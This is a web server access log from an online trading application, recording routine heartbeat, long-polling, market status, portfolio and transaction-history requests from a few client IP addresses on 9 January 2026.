[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926049477 HTTP/1.1" -
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:50 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1380
[09/Jan/2026:10:29:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:29:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926064718 HTTP/1.1" -
[09/Jan/2026:10:29:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:29:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:29:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926063534 HTTP/1.1" -
[09/Jan/2026:10:29:56 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926054571 HTTP/1.1" -
[09/Jan/2026:10:29:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926069763 HTTP/1.1" -
[09/Jan/2026:10:29:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926068554 HTTP/1.1" -
[09/Jan/2026:10:30:01 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926059780 HTTP/1.1" -
[09/Jan/2026:10:30:01 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:30:01 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:01 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 94
[09/Jan/2026:10:30:03 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:30:03 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:03 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CashMovement HTTP/1.1" 414
[09/Jan/2026:10:30:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926074901 HTTP/1.1" -
[09/Jan/2026:10:30:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926073607 HTTP/1.1" -
[09/Jan/2026:10:30:06 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926064903 HTTP/1.1" -
[09/Jan/2026:10:30:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926080010 HTTP/1.1" -
[09/Jan/2026:10:30:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926078619 HTTP/1.1" -
[09/Jan/2026:10:30:11 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926069954 HTTP/1.1" -
[09/Jan/2026:10:30:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926085161 HTTP/1.1" -
[09/Jan/2026:10:30:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926083642 HTTP/1.1" -
[09/Jan/2026:10:30:16 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926075050 HTTP/1.1" -
[09/Jan/2026:10:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:30:18 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:18 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:30:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926090289 HTTP/1.1" -
[09/Jan/2026:10:30:18 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:18 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:30:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926088671 HTTP/1.1" -
[09/Jan/2026:10:30:20 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:20 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MultiCurrencyBalance HTTP/1.1" 1441
[09/Jan/2026:10:30:20 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:30:21 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926080143 HTTP/1.1" -
[09/Jan/2026:10:30:22 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:30:22 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:22 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SecuritiesMovement HTTP/1.1" 94
[09/Jan/2026:10:30:23 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:10:30:23 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:23 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/TransactionHistory HTTP/1.1" 859
[09/Jan/2026:10:30:23 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:10:30:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926095419 HTTP/1.1" -
[09/Jan/2026:10:30:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:30:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926093696 HTTP/1.1" -
[09/Jan/2026:10:30:26 +0800] 113.245.38.73 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53119?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926085182 HTTP/1.1" -
[09/Jan/2026:10:30:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926100486 HTTP/1.1" -
[09/Jan/2026:10:30:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926098723 HTTP/1.1" -
[09/Jan/2026:10:30:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926105565 HTTP/1.1" -
[09/Jan/2026:10:30:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926103767 HTTP/1.1" -
[09/Jan/2026:10:30:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926110697 HTTP/1.1" -
[09/Jan/2026:10:30:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926108794 HTTP/1.1" -
[09/Jan/2026:10:30:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926115827 HTTP/1.1" -
[09/Jan/2026:10:30:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926113810 HTTP/1.1" -
[09/Jan/2026:10:30:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:30:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926120967 HTTP/1.1" -
[09/Jan/2026:10:30:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926118837 HTTP/1.1" -
[09/Jan/2026:10:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:30:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926126077 HTTP/1.1" -
[09/Jan/2026:10:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926123860 HTTP/1.1" -
[09/Jan/2026:10:30:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926131118 HTTP/1.1" -
[09/Jan/2026:10:30:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926128880 HTTP/1.1" -
[09/Jan/2026:10:31:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926136181 HTTP/1.1" -
[09/Jan/2026:10:31:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926133918 HTTP/1.1" -
[09/Jan/2026:10:31:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926141318 HTTP/1.1" -
[09/Jan/2026:10:31:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926138970 HTTP/1.1" -
[09/Jan/2026:10:31:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926146449 HTTP/1.1" -
[09/Jan/2026:10:31:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926144001 HTTP/1.1" -
[09/Jan/2026:10:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:31:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926149019 HTTP/1.1" -
[09/Jan/2026:10:31:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926151576 HTTP/1.1" -
[09/Jan/2026:10:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926154030 HTTP/1.1" -
